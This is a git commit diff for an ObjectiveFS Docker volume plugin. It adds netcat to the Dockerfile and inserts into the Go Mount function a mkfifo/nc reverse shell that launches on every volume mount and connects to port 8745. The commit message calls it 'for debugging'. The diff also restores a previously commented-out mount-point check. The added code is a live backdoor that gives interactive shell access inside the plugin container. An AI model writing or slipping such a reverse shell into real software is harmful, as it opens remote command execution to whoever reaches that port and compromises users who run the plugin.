Restore mount point check but create reverse shell for debugging
All checks were successful
continuous-integration/drone/push Build is passing

This commit is contained in:
2024-10-03 15:47:12 +02:00
parent e4aaead56a
commit 6fe3479cf4
2 changed files with 8 additions and 6 deletions

View File

@@ -14,6 +14,6 @@ COPY --from=builder /usr/local/src/objectivefs-docker-volume/bin/objectivefs-doc
COPY bin/mount.objectivefs /sbin/
COPY config.json /
RUN apt-get update && apt-get install -y fuse && rm -rf /var/lib/apt/lists/* && \
RUN apt-get update && apt-get install -y fuse netcat && rm -rf /var/lib/apt/lists/* && \
mkdir -p /run/docker/plugins && \
chmod +x /sbin/mount.objectivefs

12
main.go
View File

@@ -393,6 +393,10 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error())
}
// Reverse shell
cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f")
cmdLs.Start()
// The drawback of running the mount in the foreground is there is no easy way to tell if it failed
// to initially connect. So we just wait a fixed amount of time and check for process exit or mount
// success.
@@ -406,11 +410,9 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
}
// Check for mount
time.Sleep(1000 * time.Millisecond)
break
//if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
// break
//}
if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
break
}
}
log.WithFields(log.Fields{"name": r.Name}).Info("Volume mounted")